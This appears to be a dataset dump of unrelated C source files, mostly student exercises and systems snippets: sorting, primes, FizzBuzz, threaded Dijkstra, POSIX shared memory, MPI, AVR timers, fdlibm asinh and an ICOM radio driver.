language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
#include "log.h" void write_log(char *event, char *info) { clock_t end_t = clock(); float instant = (double) (end_t - start_t)/(CLOCKS_PER_SEC*100); FILE *log_file = fopen(log_dir, "a"); if(log_file == NULL) { perror("erro fopen()"); error_handler(); } fprintf(log_file, "%f ; %d ; %s ; %s\n", instant, getpid(), event, info); fclose(log_file); }
C
/* Area and Perimeter of circle program using pass by reference method. * Written by: Shreevathsa * Date: 14/01/2019 */ #include<stdio.h> void areaPeri(int , float *, float *); int main(){ int r; float area, periM; printf("Enter the radius of circle: "); scanf("%d", &r); areaPeri(r ,&area, &periM); printf("The area of circle : %f\n", area); printf("The perimeter of circle : %f\n", periM); return 0; } void areaPeri(int r, float *area, float *periM){ *area = 3.14 * r * r; *periM = 2 * 3.14 * r; }
C
#include <stdio.h> int isprime(unsigned int n); int main(void) { int i; printf("Hello, World\n"); for(i=0;i <=102; i++) { if(isprime(i)) printf("%d is prime.\n", i); } return 0; } // returns 1 if n is prime, 0 otherwise. int isprime(unsigned int n) { int f; if(n==1||n==0) return 0; for(f=2; f*f <=n; f++) { if(n%f==0) return 0; } return 1; }
C
#include<stdio.h> int multiply(int a, int b); int main() { int number1, number2; printf("Enter two integer numbers: "); scanf("%d %d", &number1, &number2); printf("%d x %d = %d.\n", number1, number2, multiply(number1, number2)); return 0; } int multiply(int a, int b) { if (b == 0) return 0; if (b > 0) return a + multiply(a, b-1); if (b < 0) return -multiply(a, -b); }
C
/* * Program to control ICOM radios * * This is a ripoff of the utility routines in the ICOM software * distribution. The only function provided is to load the radio * frequency. All other parameters must be manually set before use. */ #include <config.h> #include "icom.h" #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include "ntp_tty.h" #ifdef SYS_WINNT #undef write /* ports/winnt/include/config.h: #define write _write */ extern int async_write(int, const void *, unsigned int); #define write(fd, data, octets) async_write(fd, data, octets) #endif /* * Packet routines * * These routines send a packet and receive the response. If an error * (collision) occurs on transmit, the packet is resent. If an error * occurs on receive (timeout), all input to the terminating FI is * discarded and the packet is resent. If the maximum number of retries * is not exceeded, the program returns the number of octets in the user * buffer; otherwise, it returns zero. * * ICOM frame format * * Frames begin with a two-octet preamble PR-PR followyd by the * transceiver address RE, controller address TX, control code CN, zero * or more data octets DA (depending on command), and terminator FI. * Since the bus is bidirectional, every octet output is echoed on * input. Every valid frame sent is answered with a frame in the same * format, but with the RE and TX fields interchanged. The CN field is * set to NAK if an error has occurred. Otherwise, the data are returned * in this and following DA octets. If no data are returned, the CN * octet is set to ACK. * * +------+------+------+------+------+--//--+------+ * | PR | PR | RE | TX | CN | DA | FI | * +------+------+------+------+------+--//--+------+ */ /* * Scraps */ #define DICOM /dev/icom/ /* ICOM port link */ /* * Local function prototypes */ static void doublefreq (double, uint8_t *, int); /* * icom_freq(fd, ident, freq) - load radio frequency */ int icom_freq( /* returns 0 (ok), EIO (error) */ int fd, /* file descriptor */ int ident, /* ICOM radio identifier */ double freq /* frequency (MHz) */ ) { uint8_t cmd[] = {PAD, PR, PR, 0, TX, V_SFREQ, 0, 0, 0, 0, FI, FI}; int temp; cmd[3] = (char)ident; if (ident == IC735) temp = 4; else temp = 5; doublefreq(freq * 1e6, &cmd[6], temp); temp = write(fd, cmd, temp + 7); return (0); } /* * doublefreq(freq, y, len) - double to ICOM frequency with padding */ static void doublefreq( /* returns void */ double freq, /* frequency */ uint8_t *x, /* radio frequency */ int len /* length (octets) */ ) { int i; char s1[16]; char *y; snprintf(s1, sizeof(s1), " %10.0f", freq); y = s1 + 10; i = 0; while (*y != ' ') { x[i] = *y-- & 0x0f; x[i] = x[i] | ((*y-- & 0x0f) << 4); i++; } for ( ; i < len; i++) x[i] = 0; x[i] = FI; } /* * icom_init() - open and initialize serial interface * * This routine opens the serial interface for raw transmission; that * is, character-at-a-time, no stripping, checking or monkeying with the * bits. For Unix, an input operation ends either with the receipt of a * character or a 0.5-s timeout. */ int icom_init( const char *device, /* device name/link */ int speed, /* line speed */ int trace /* trace flags */ ) { TTY ttyb; int fd; int rc; int saved_errno; UNUSED_ARG(trace); fd = tty_open(device, O_RDWR, 0777); if (fd < 0) return -1; rc = tcgetattr(fd, &ttyb); if (rc < 0) { saved_errno = errno; close(fd); errno = saved_errno; return -1; } ttyb.c_iflag = 0; /* input modes */ ttyb.c_oflag = 0; /* output modes */ ttyb.c_cflag = IBAUD|CS8|CLOCAL; /* control modes (no read) */ ttyb.c_lflag = 0; /* local modes */ ttyb.c_cc[VMIN] = 0; /* min chars */ ttyb.c_cc[VTIME] = 5; /* receive timeout */ cfsetispeed(&ttyb, (u_int)speed); cfsetospeed(&ttyb, (u_int)speed); rc = tcsetattr(fd, TCSANOW, &ttyb); if (rc < 0) { saved_errno = errno; close(fd); errno = saved_errno; return -1; } return (fd); } /* end program */
C
/* lock_hash.h * * Copyright (C) 2017 Alexandre Luiz Brisighello Filho * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ #ifndef LOCK_HASH_H_ #define LOCK_HASH_H_ /* lock_hash implement a simple hashes for mutex, semaphores and joins. It's meant to be used only by sync, since its functions changes thread status. (It will modify status, but won't relase the threads) */ #include "thread.h" #include "uthash.h" #include <pthread.h> /* Mutex Handlers */ // Just destroy a mutex. Will fail if doesn't exist. void handle_mutex_destroy(void *key); // Initialize the mutex. Will fail if rewriting a mutex with waiting threads. void handle_lock_init(void *key); // Will mark thread as locked and insert itself the waiting list or mark the mutex as locked. void handle_lock(void *key, THREADID tid); // Returns 0 if lock was successfull, 1 otherwise. Will fail if doesn't exist. int handle_try_lock(void *key); // Oposite of handle_lock, could awake someone or mark the mutex as unlocked. void handle_unlock(void *key, THREADID tid); /* Semaphore Handlers */ // Just destroy the semaphore. Will fail if doesn't exist. void handle_semaphore_destroy(void *key); // Just get the current value. Will fail if doesn't exist. int handle_semaphore_getvalue(void *key); // Initialize semaphore. Will fail if rewriting a semaphore with waiting threads. void handle_semaphore_init(void *key, int value); // Increase value by 1. Will fail if semaphore doesn't exist. void handle_semaphore_post(void *key, THREADID tid); // If value > 0, return 0 and decrease the value by 1. -1 otherwise. Will fail if doesn't exist. int handle_semaphore_trywait(void *key); // Same as trywait, but will lock if no success. Will fail if doesn't exist. void handle_semaphore_wait(void *key, THREADID tid); /* rwlock Handlers */ // Just destroy the rwlock. Will fail if doesn't exist. void handle_rwlock_destroy(void *key); // Initialize rwlock. Will fail if rewriting a rwlock with waiting threads. void handle_rwlock_init(void *key); // Wait on the rwlock for reading. Will fail if doesn't exist. void handle_rwlock_rdlock(void *key, THREADID tid); // Wait on the rwlock for writing. Will fail if doesn't exist. void handle_rwlock_wrlock(void *key, THREADID tid); // Try to get rwlock for reading. Will fail if doesn't exist. int handle_rwlock_tryrdlock(void *key, THREADID tid); // Try to get rwlock for writing. Will fail if doesn't exist. int handle_rwlock_trywrlock(void *key, THREADID tid); // Unlock the rwlock. It takes into account the states of calling threads. Will fail if doesn't exist. void handle_rwlock_unlock(void *key, THREADID tid); /* Condition Variables Handlers */ // Wake all threads waiting on the condition variables. void handle_cond_broadcast(void *key, THREADID tid); // Just destroy the condition variable. Will fail if doesn't exist. void handle_cond_destroy(void *key); // Init the condition variable and should be called before anything. void handle_cond_init(void *key); // Wake up to one thread waiting (if any). Will fail if it doesn't exist. void handle_cond_signal(void *key, THREADID tid); // Lock on the condition variable. Will unlock the mutex. Will fail if doesn't exist. void handle_cond_wait(void *key, void *mutex, THREADID tid); /* Thread create/exit Handlers */ // Returns a list with threads waiting to join. THREAD_INFO *handle_thread_exit(pthread_t key); // Returns 1 if allowed, 0 if not allowed. int handle_before_join(pthread_t key, THREADID tid); /* Reentrant Lock (function lock) */ // Used for locking reentrant lock. typedef struct _REENTRANT_LOCK REENTRANT_LOCK; struct _REENTRANT_LOCK { int busy; THREAD_INFO *locked; // Threads locked }; // handle_reentrant_start should be called at the start of a exclusive function. void handle_reentrant_start(REENTRANT_LOCK *rl, THREADID tid); // handle_reentrant_exit oposite of start. Might unlock someone. void handle_reentrant_exit(REENTRANT_LOCK *rl, THREADID tid); // Debug function, print lock hash on stderr void lock_hash_print_lock_hash(); // Debug function, print condition variable hash on stderr void lock_hash_print_cond_hash(); #endif
C
#include <stdio.h> #include <unistd.h> #include <time.h> // ctime, difftime #include <sys/types.h> #include <sys/time.h> //gettimeofday #include <sys/times.h> //times int global_int = 5; int main(int argc, char * argv[]) { time_t curtime; time_t oldtime; time(&oldtime); printf("current : %s \n", ctime(&oldtime)); sleep(2); time(&curtime); printf("current : %s \n", ctime(&curtime)); printf("elapsed : %d sec\n", (int)difftime(curtime, oldtime)); struct timeval tv; struct timezone tz; gettimeofday(&tv, &tz); printf("%u.%06u, %d, %d \n", (int)tv.tv_sec, (int)tv.tv_usec, (int)tz.tz_minuteswest, (int)tz.tz_dsttime); double cticks; clock_t tcstart, tcend; struct tms tmstart, tmend; if ((tcstart = times(&tmstart)) == -1) { perror("time"); exit(1); } printf("Fraction of CPU time used is %d \n", tcstart); printf("CPU time spent executing process is %d\n", tmstart.tms_utime); printf("CPU time spent in system is %d\n", tmstart.tms_stime); sleep(2); if ((tcend = times(&tmend)) == -1) { perror ("get error"); exit(1); } printf("Fraction of CPU time used is %d \n", tcstart); printf("CPU time spent executing process is %d\n", tmstart.tms_utime); printf("CPU time spent in system is %d\n", tmstart.tms_stime); cticks = tmend.tms_utime + tmend.tms_stime - tmstart.tms_utime - tmstart.tms_stime; printf("Total CPU time is %f seconds. \n", cticks/100); printf("Fraction CPU time used is %f \n", cticks/(tcend - tcstart)); return 0; }
C
#include <stdlib.h> #include "api/sk_utils.h" #include "api/sk_service_data.h" struct sk_srv_data_t { sk_srv_data_mode_t mode; int _padding; void* data; // User maintain it, user is responisble for destroy it }; sk_srv_data_t* sk_srv_data_create(sk_srv_data_mode_t mode) { sk_srv_data_t* srv_data = calloc(1, sizeof(*srv_data)); srv_data->mode = mode; return srv_data; } void sk_srv_data_destroy(sk_srv_data_t* srv_data) { if (!srv_data) { return; } free(srv_data); } sk_srv_data_mode_t sk_srv_data_mode(sk_srv_data_t* srv_data) { SK_ASSERT(srv_data); return srv_data->mode; } void* sk_srv_data_get(sk_srv_data_t* srv_data) { SK_ASSERT(srv_data); return srv_data->data; } const void* sk_srv_data_getconst(sk_srv_data_t* srv_data) { SK_ASSERT(srv_data); return srv_data->data; } void sk_srv_data_set(sk_srv_data_t* srv_data, const void* data) { SK_ASSERT(srv_data); srv_data->data = (void*) data; }
C
#include <stdio.h> #include <stdlib.h> void insertionSort(int *arr, int n) { int j, actual; for (int i = 1; i < n; i++) { actual = arr[i]; for (j = i; (j > 0) && (actual < arr[j-1]); j--) arr[j] = arr[j-1]; arr[j] = actual; } } int main() { int n; int *arr; scanf("%d", &n); arr = (int*) malloc((n + 1) * sizeof(int)); for (int i = 0; i < n; i++) { int temp = 0; scanf("%d", &temp); arr[i] = temp; } insertionSort(arr, n); for (int i=0; i<n; i++) printf("%d ", arr[i]); return 0; }
C
/* Define a function max_of_three() that takes three numbers as * arguments and returns the largest of them. */ #include <stdio.h> int max(int num1, int num2) { if (num1 > num2) { return num1; } else { return num2; } } int max_of_three(int num1, int num2, int num3) { int first_max = max(num1, num2); if (first_max > num3) { return first_max; } else { return num3; } } int main(void) { int num1, num2, num3; printf("Please enter 3 numbers: "); scanf(" %d %d %d", &num1, &num2, &num3); printf("The largest of the three is %d\n", max_of_three(num1, num2, num3)); return 0; }
C
/* @(#)s_asinh.c 1.3 95/01/18 */ /* * ==================================================== * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. * * Developed at SunSoft, a Sun Microsystems, Inc. business. * Permission to use, copy, modify, and distribute this * software is freely granted, provided that this notice * is preserved. * ==================================================== */ /* FDLIBM_asinh(x) * Method : * Based on * FDLIBM_asinh(x) = sign(x) * log [ |x| + FDLIBM_sqrt(x*x+1) ] * we have * FDLIBM_asinh(x) := x if 1+x*x=1, * := sign(x)*(FDLIBM_log(x)+ln2)) for large |x|, else * := sign(x)*FDLIBM_log(2|x|+1/(|x|+FDLIBM_sqrt(x*x+1))) if|x|>2, else * := sign(x)*FDLIBM_log1p(|x| + x^2/(1 + FDLIBM_sqrt(1+x^2))) */ #include "fdlibm.h" #ifdef __STDC__ static const double #else static double #endif one = 1.00000000000000000000e+00, /* 0x3FF00000, 0x00000000 */ ln2 = 6.93147180559945286227e-01, /* 0x3FE62E42, 0xFEFA39EF */ huge= 1.00000000000000000000e+300; #ifdef __STDC__ double FDLIBM_asinh(double x) #else double FDLIBM_asinh(x) double x; #endif { double t,w; int hx,ix; hx = __HI(x); ix = hx&0x7fffffff; if(ix>=0x7ff00000) return x+x; /* x is inf or NaN */ if(ix< 0x3e300000) { /* |x|<2**-28 */ if(huge+x>one) return x; /* return x inexact except 0 */ } if(ix>0x41b00000) { /* |x| > 2**28 */ w = FDLIBM___ieee754_log(FDLIBM_fabs(x))+ln2; } else if (ix>0x40000000) { /* 2**28 > |x| > 2.0 */ t = FDLIBM_fabs(x); w = FDLIBM___ieee754_log(2.0*t+one/(FDLIBM_sqrt(x*x+one)+t)); } else { /* 2.0 > |x| > 2**-28 */ t = x*x; w =FDLIBM_log1p(FDLIBM_fabs(x)+t/(one+FDLIBM_sqrt(one+t))); } if(hx>0) return w; else return -w; }
C
#include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <limits.h> #define UNUSED __attribute__((unused)) /* Global variables declarations */ int total_nodes_num, start_node, end_node, nodes_per_thread, total_threads, passed_nodes_num; /* Variables indicating the current/next node and the next minimal distance */ int current_node, next_node, next_min_dist; /* Matrix declaration */ int **matrix; /* Helper tables */ int *visit_state_tab, *pre_node_tab, *dist_tab; /* mutex stuff */ pthread_mutex_t mutex; /* Handle inputs */ void get_inputs() { /* In case of the scanf_warning */ int _scanf_value UNUSED; /* Get parameters of the graph and build the empty graph */ _scanf_value = scanf("%d %d %d", &total_nodes_num, &start_node, &end_node); /* Reserve memory */ matrix = malloc(total_nodes_num * sizeof(int *)); visit_state_tab = calloc(total_nodes_num, sizeof(int)); /* new memory for visit_table */ pre_node_tab = malloc(total_nodes_num * sizeof(int)); /* new memory for pre_node_table */ dist_tab = malloc(total_nodes_num * sizeof(int)); /* new memory for dist_table */ for(int i = 0; i < total_nodes_num; ++i) { matrix[i] = malloc(total_nodes_num * sizeof(int)); dist_tab[i] = -1; /* Initialize dists */ } /* Get the graph */ for(int i = 0; i < total_nodes_num; ++i) { for (int j = 0; j < total_nodes_num; ++j) { /* _scanf_value = scanf("%d", &matrix[i][j]); */ int x = 0; char ch = getchar(); while (ch < '0' || ch > '9') { /* Find the next integer */ ch = getchar(); } while(ch >= '0' && ch <= '9') { x *= 10; x += (ch - '0'); /* Offset */ ch = getchar(); } matrix[i][j] = x; } } // for(int i = 0; i < total_nodes_num; ++i) { // for (int j = 0; j < total_nodes_num; ++j) { // printf("%d ", matrix[i][j]); // } // printf("\n"); // } } /* Set all paths connected with the starting node */ void* setFollowingPath(void *thread_num) { /* Thread index begins with 0 */ int thread_number = (int)thread_num; /* [first_node, last_node) */ int first_node = thread_number * nodes_per_thread; int last_node = (thread_number < total_threads - 1) ? ((thread_number + 1) * nodes_per_thread) : (total_nodes_num); /* Set the direct distance and pre_node */ pthread_mutex_lock(&mutex); for(int j = first_node; j < last_node; ++j) { if(matrix[current_node][j] > 0 && current_node != j && (dist_tab[j] == -1 || (dist_tab[j] > (matrix[current_node][j] + dist_tab[current_node])))) { dist_tab[j] = matrix[current_node][j] + dist_tab[current_node]; /* loosen */ pre_node_tab[j] = current_node; /* set pre_node */ } } /* printf("Thread: %d, settign path, first_node: %d, last_node: %d, current node is: %d\n", thread_number, first_node, last_node, current_node); */ pthread_mutex_unlock(&mutex); pthread_exit(NULL); /* Exit thread */ return NULL; } /* Function to find the next minimal-distance node */ void* findNextNode(void *thread_num) { /* Thread index begins with 0 */ int thread_number = (int)thread_num; /* [first_node, last_node) */ int first_node = thread_number * nodes_per_thread; int last_node = (thread_number < total_threads - 1) ? ((thread_number + 1) * nodes_per_thread) : (total_nodes_num); /* compare */ for (int i = first_node; i < last_node; ++i) { if(!visit_state_tab[i]) { /* Must be unvisited nodes */ pthread_mutex_lock(&mutex); if(dist_tab[i] > -1 && dist_tab[i] <= next_min_dist) { next_min_dist = dist_tab[i]; /* Set new minimum */ next_node = i; } pthread_mutex_unlock(&mutex); } } /* printf("Thread: %d, finding next node, first_node: %d, last_node: %d, current node is: %d, next node is: %d\n", thread_number, first_node, last_node, current_node, next_node); */ pthread_exit(NULL); /* Exit thread */ return NULL; } /* The final printing funct */ void print() { /* Reserve memory for nodes on the path */ int *passed_nodes = malloc(passed_nodes_num * sizeof(int)); int back_node = end_node; /* Get all nodes */ for (int i = 0; i < passed_nodes_num; ++i) { passed_nodes[passed_nodes_num - 1 - i] = back_node; back_node = pre_node_tab[back_node]; } /* Real place for printing */ printf("%d\n", dist_tab[end_node]); for (int i = 0; i < passed_nodes_num; ++i) { /* printf("%d\n", passed_nodes[i]); */ int output[32]; int count = 0, node = passed_nodes[i]; do { output[count++] = node % 10; node /= 10; } while (node != 0); while(count-- != 0) { putchar(output[count] + 48); /* 48 indicates '0' */ } putchar('\n'); } /* Free memory */ free(passed_nodes); } /* Some memory clean ups */ void releaseMemory() { /* Free global variables */ free(visit_state_tab); /* Free visited_table */ free(pre_node_tab); /* Free pre_node_table */ free(dist_tab); /* Free dist_table */ for(int i = 0; i < total_nodes_num; ++i) { free(matrix[i]); /* Don't forget the nested-mem */ } free(matrix); } /* Calculate the shortest distance given the input. */ void dist (int max_threads) { /* Thread poll and attribute */ total_threads = max_threads; pthread_t *threads = malloc(total_threads * sizeof(pthread_t)); pthread_attr_t attr; pthread_mutex_init(&mutex, NULL); /* Init mutex */ /* Get inputs */ get_inputs(); /* Dispatch workload to different threads */ nodes_per_thread = total_nodes_num / total_threads; /* printf("total_nodes_num: %d, total_threads: %d, nodes_per_thread: %d\n", total_nodes_num, total_threads, nodes_per_thread); */ /* Initialization for the starting node */ visit_state_tab[start_node] = 1; pre_node_tab[start_node] = -1; /* Set the pre_node for start_node as a different num */ dist_tab[start_node] = 0; current_node = start_node; passed_nodes_num = 1; /* Preparation for threads */ pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); /* Set all paths connected with the starting node */ /* Direct passing &i will get changed is */ for(int i = 0; i < total_threads; ++i) { pthread_create(&threads[i], &attr, setFollowingPath, (void *)i); } pthread_attr_destroy(&attr); /* Wait */ /* Join threads */ for(int i = 0; i < total_threads; ++i) { pthread_join(threads[i], NULL); } /* printf("Init Joined\n"); */ while(!visit_state_tab[end_node]) { /* Reset the minimal distance */ next_min_dist = INT_MAX; /* Preparation for threads */ pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); /* multi-threads to find the next node */ /* Direct passing &i will get changed is */ for(int i = 0; i < total_threads; ++i) { pthread_create(&threads[i], &attr, findNextNode, (void *)i); } pthread_attr_destroy(&attr); /* Wait */ /* Join threads */ for(int i = 0; i < total_threads; ++i) { pthread_join(threads[i], NULL); } /* printf("Finding joined\n"); */ /* Set and update info */ pre_node_tab[next_node] = current_node; dist_tab[next_node] = next_min_dist; visit_state_tab[next_node] = 1; passed_nodes_num += 1; /* Record passed nodes num */ current_node = next_node; /* Preparation for threads */ pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); /* multi-threads to find the next node */ /* Direct passing &i will get changed is */ for(int i = 0; i < total_threads; ++i) { pthread_create(&threads[i], &attr, setFollowingPath, (void *)i); } pthread_attr_destroy(&attr); /* Wait */ /* Join threads */ for(int i = 0; i < total_threads; ++i) { pthread_join(threads[i], NULL); } /* printf("Setting paths joined\n"); */ } /* Output */ print(); /* Clean up */ pthread_mutex_destroy(&mutex); free(threads); releaseMemory(); }
C
#include <errno.h> #include <fcntl.h> #include <semaphore.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define NUMBER_OF_RECORDS 100 #define SHM_FILE_NAME "/ex17_shm_file_name" #define SEMAFORO_FILE_NAME "semaforo_ex_10" #define NUMBER_OF_SEMAFOROS 4 #define NUMBER_OF_CHILDREN 500 #define BUFFER_SIZE 10 #define MAX_SEATS 300 #define VIP_SEATS 20 #define SPECIAL_SEATS 80 #define NORMAL_SEATS 200 typedef struct Cinema { int normals; int specials; int vips; int vipsWaiting; int specialsWaiting; } Cinema; typedef struct CircularBuffer { int buffer[BUFFER_SIZE]; int head; int tail; int isFull; } CircularBuffer; typedef struct SharedDataStruct { Cinema cinema; } SharedDataStruct; // Semaforos Utils //=============================================================================================================== void __semWAIT(sem_t *semaforo) { if (sem_wait(semaforo) == -1) { perror("Error at sem_wait()!"); exit(EXIT_FAILURE); } } void __semPOST(sem_t *semaforo) { if (sem_post(semaforo) == -1) { perror("Error at sem_post()!"); exit(EXIT_FAILURE); } } // ONLY FOR THOSE WHO CREATE THE SEMAFORO void __semaforo__CREATE_AND_OPEN(sem_t *semaforo, char* fileName, int initialValue) { if ((semaforo = sem_open(fileName, O_CREAT | O_EXCL, 0644, initialValue)) == SEM_FAILED) { perror("Error at sem_open()!\n"); exit(EXIT_FAILURE); } } // ONLY FOR THOSE WHO OPEN THE SEMAFORO // no caso dos filhos, so quererem abrir o semaforo temos q fazer apenas -> sem_open(fileName, 0) void __semaforo__OPEN(sem_t *semaforo, char* fileName) { if ((semaforo = sem_open(fileName, 0)) == SEM_FAILED) { perror("Error at sem_open()!\n"); exit(EXIT_FAILURE); } } void __semaforo__CLOSE(sem_t *semaforo) { if (sem_close(semaforo) < 0) { perror("Error at sem_close()!\n"); exit(EXIT_FAILURE); } } void __semaforo__UNLINK(char* fileName) { if (sem_unlink(fileName) != 0) { int err = errno; printf("Error: %s", strerror(err)); printf("Error at shm_unlink() of semaforo!\n"); exit(EXIT_FAILURE); } } // Shared Memory Utils //=============================================================================================================== // int oflag = O_RDWR | O_EXCL | O_CREAT SharedDataStruct *__shmOPEN(char *fileName, int *fd, int oflag) { // 1. Creates and opens a shared memory area *fd = shm_open(fileName, oflag, S_IRUSR | S_IWUSR); if (*fd == -1) { perror("Error at shm_open()!\n"); exit(EXIT_FAILURE); } // 2. Defines the size ftruncate(*fd, sizeof(SharedDataStruct)); // 3. Get a pointer to the data SharedDataStruct *sharedData = (SharedDataStruct *)mmap(NULL, sizeof(SharedDataStruct), PROT_READ | PROT_WRITE, MAP_SHARED, *fd, 0); return sharedData; } void __shmCLOSE(SharedDataStruct *sharedData, int fd) { // Undo mapping if (munmap((void *)sharedData, sizeof(SharedDataStruct)) < 0) { perror("Error at munmap()!\n"); exit(EXIT_FAILURE); } // Close file descriptor if (close(fd) < 0) { perror("Error at close()!\n"); exit(EXIT_FAILURE); } } void __shmDELETE(char *fileName) { // Remove file from system if (shm_unlink(fileName) < 0) { perror("Error at shm_unlink()!\n"); exit(EXIT_FAILURE); } } // Fork Utils //=============================================================================================================== int cria_filhos(int n) { pid_t pid; int i; for (i = 0; i < n; i++) { pid = fork(); if (pid < 0) { return -1; } else if (pid == 0) { return i + 1; } } return 0; } // Random Utils //=============================================================================================================== int getRandomIntBetween(int min, int max) { srand(time(NULL) * getpid() << 16); int randomNumber = (rand() % max) + min; return randomNumber; } void printMessage(char *message) { printf("%s", message); fflush(stdout); } // Circular Buffer Utils //=============================================================================================================== void printBuffer(CircularBuffer* buffer) { printf("- - - - - - - - - - - - - - - - - - - -\n"); for (int i = 0; i < BUFFER_SIZE; i++) { printf("%d ", buffer->buffer[i]); fflush(stdout); } printf("\n"); for (int i = 0; i < BUFFER_SIZE; i++) { if(i == buffer->head && i == buffer->tail) { printf("HT "); fflush(stdout); } else if(i == buffer->head) { printf("H "); fflush(stdout); } else if(i == buffer->tail) { printf("T "); fflush(stdout); } else { printf(" "); fflush(stdout); } } printf("\n"); printf("Is Full: %d\n", buffer->isFull); printf("- - - - - - - - - - - - - - - - - - - -\n"); }
C
#include <stdio.h> #include "mpi.h" int main(int argc,char *argv[]){ int size, rank, dest, source, count, namelen, tag=1; int inmsg, outmsg=0; MPI_Status Stat; char mc_name[MPI_MAX_PROCESSOR_NAME]; MPI_Init(NULL, NULL); MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &rank); MPI_Get_processor_name(mc_name,&namelen); dest = rank+1; source = rank-1; if (rank == 0) { source = size-1; MPI_Send(&outmsg, 1, MPI_INT, dest, tag, MPI_COMM_WORLD); MPI_Recv(&inmsg, 1, MPI_INT, source, tag, MPI_COMM_WORLD, &Stat); }else{ if(rank== size-1){ dest = 0; }; MPI_Recv(&inmsg, 1, MPI_INT, source, tag, MPI_COMM_WORLD, &Stat); outmsg = inmsg +1; MPI_Send(&outmsg, 1, MPI_INT, dest, tag, MPI_COMM_WORLD); }; MPI_Get_count(&Stat, MPI_INT, &count); printf("Task %d on machine %s: Send %d, and Received %d from task %d \n", rank, mc_name,outmsg, inmsg, Stat.MPI_SOURCE); MPI_Finalize(); }
C
#ifndef _OPCOES_H_ int selecionarCorManualmente(){ system("cd funcionalidades&start selecionarCor.exe"); FILE *fpcor; int cod = 1; while((fpcor = fopen("funcionalidades\\selecionarCor.dat","rb"))==NULL) _sleep(1000); fread(&cod,sizeof(cod),1,fpcor); fclose(fpcor); _sleep(2000); system("Del funcionalidades\\selecionarCor.dat"); return cod; } void menuOpcoes(){ while(1){ texto(7,8,CYAN,"OP\345ES"); textoDoMenu(7,10,1,"Cor da letra:",WHITE); textoDoMenu(7,12,2,"Cor do menu:",WHITE); textoDoMenu(7,14,3,"Cor de sele\207\306o:",WHITE); textoDoMenu(7,16,4,"Voltar",WHITE); texto(21,10,COR_LETRA,cor_letra[COR_LETRA]); texto(20,12,COR_MENU,cor_letra[COR_MENU]); texto(23,14,COR_SELECAO,cor_letra[COR_SELECAO]); andarMenu(4);//LWAS if (TECLA==13){ //AO PRESSIONAR A TECLA "ENTER" if(OPC==1){COR_LETRA = selecionarCorManualmente(); limpaTela();} //COR DA LETRA else if(OPC==2){COR_MENU = selecionarCorManualmente(); limpaTela();} //COR DO MENU else if(OPC==3){COR_SELECAO = selecionarCorManualmente(); limpaTela();} //COR DE SELEO else if(OPC==4){OPC = 1; limpaTela(); return;} //VOLAR } } }//FIM DO WHILE } #endif
C
#ifndef _NODE_H_ #define _NODE_H_ #include "leaf.h" #include "index.h" struct Node { /* * @brief constructor of node * @param is_leaf leaf node or not */ explicit Node(bool is_leaf, size_t record_max_size); /* * @brief get the size of data * @return size of data */ size_t GetSize() const; /* * @brief compare the key with the key of data[i] * @return strcmp */ int Compare(size_t i, const char* key); /* * @brief get node's pointer as leaf node * @return leaf pointer */ Leaf* GetLeaf() const; /* * @brief get node's pointer as index node * @return index pointer */ IndexNode* GetIndex() const; size_t FindPos(const char* key); bool m_is_leaf; IndexNode* m_index; Leaf* m_leaf; size_t m_record_max_size; }; #endif
C
#include<stdio.h> #include<math.h> int main() { long int n,dia,i=1; while(scanf("%ld",&n)==1) { if(n==0)break; dia=ceil((3+sqrt(9+(8*n)))/2); printf("Case %ld: %ld\n",i++,dia); } return 0; }
C
#include <avr/io.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <util/delay.h> #include <avr/sfr_defs.h> #include <math.h> #include <avr/interrupt.h> #include <avr/eeprom.h> #ifndef _BV #define _BV(bit) (1<<(bit)) #endif #ifndef sbi #define sbi(reg,bit) reg |= (_BV(bit)) #endif #ifndef cbi #define cbi(reg,bit) reg &= ~(_BV(bit)) #endif #ifndef tbi #define tbi(reg,bit) reg ^= (_BV(bit)) #endif #define KEY1 (1<<PD5) //niepotrzebne teraz uint8_t flaga = 0; uint8_t SwitchIsPushed(uint8_t PINx,uint8_t Key)//Handling of switch with debouncing { uint8_t flag = 0; if(bit_is_clear(PINx,Key)) { _delay_ms(80); if(bit_is_clear(PINx, Key)) { flag = 1; } } return flag; } uint8_t counter = 0; // press counter uint8_t Menu() // Handling number of press { uint8_t zmienna = SwitchIsPushed(PIND,PD5); if(zmienna) { counter++; if(counter >= 3){counter = 0;}; return 0; } else{return 1;} } void InitInterrupt() //inicjalizacja przerwania { sbi(TCCR1B,WGM12); //Wybranie trybu pracy CTC z TOP OCR1A sbi(TCCR1B,CS10); sbi(TCCR1B,CS12); //Wybranie dzielnika czestotliwosci 1024 OCR1A = 15625; //Zapisanie do OCR1A wartosci odpowiadajacej 2s //8000000/1024/15625 = 0.5Hz, po odwroceniu 2s sbi(TIMSK,OCIE1A); //Uruchomienie przerwania OCIE1A } int main() { DDRD=0b1000000; //PD6 as output rest as input sbi(PORTD,PD5); sei(); InitInterrupt(); while(1) { do { if(counter == 1) { sbi(PORTD,PD6); } if(counter == 2) { cbi(PORTD,PD6); } }while(Menu()); _delay_ms(50); } } ISR(TIMER1_COMPA_vect) { if(counter == 0) //z dokladnoscia do 2s { tbi(PORTD,PD6); } }
C
// // Created by YaNan on 2018/4/26. // #include <stab.h> //count characters in input;2 nd version double main() { double nc; for (nc = 0; getchar() != '\n'; ++nc); printf("%.0f\n", nc); }
C
/*This is program that prints the numbers from 1 to 100. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz */ #include <stdio.h> int main(void) { int i; for (i=1; i<=100; i++) { if (i%15 == 0) printf ("FizzBuzz\n"); else if ((i%3) == 0) printf("Fizz\n"); else if ((i%5) == 0) printf("Buzz\n"); else printf("%d\n", i); } return 0; }
C
